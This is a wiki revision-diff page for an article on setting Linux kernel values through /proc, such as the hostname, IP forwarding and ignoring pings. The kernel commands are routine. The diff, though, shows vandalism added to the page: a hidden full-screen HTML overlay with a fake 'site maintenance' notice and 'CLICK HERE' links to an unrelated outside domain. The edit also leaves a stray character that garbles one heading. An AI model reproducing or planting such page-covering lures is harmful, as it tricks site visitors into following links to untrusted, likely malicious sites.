Difference between revisions of "Kernel Hack"

From Free Knowledge Base- The DUCK Project: information for everyone
Jump to: navigation, search
m
Line 3: Line 3:
 
Kernel entries made on the fly do not apply after a reboot. Some proc entries have a value of either 0 or 1, while others have character string values.
 
Kernel entries made on the fly do not apply after a reboot. Some proc entries have a value of either 0 or 1, while others have character string values.
  
=== View current hostname: ===
+
>=== View current hostname: ===
 
 
 
cat /proc/sys/kernel/hostname
 
cat /proc/sys/kernel/hostname
 +
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ykosyqopu.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ykosyqopu.co.cc CLICK HERE]=
 +
----
 +
</div>
  
 
=== Change the current hostname instantly: ===
 
=== Change the current hostname instantly: ===

Revision as of 22:35, 17 November 2010

There are several useful kernel flags you can set to increase your default network security without using IP Tables. The /proc filesystem is a window into various parts of the Linux kernel. Some of these values in the running kernel are read-only, others may be modified on the fly.

Kernel entries made on the fly do not apply after a reboot. Some proc entries have a value of either 0 or 1, while others have character string values.

>=== View current hostname: ===

cat /proc/sys/kernel/hostname


Change the current hostname instantly:

echo 'newhostname' > /proc/sys/kernel/hostname

Enable IP Forwarding: (echo 0 disables)

echo 1 > /proc/sys/net/ipv4/ip_forward

To turn off answers to icmp_echos (such as ping): (echo 0 turns back on)

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all



_______________________________________________________________________________

  • Sat Jul 12 16:17:01 CDT 2003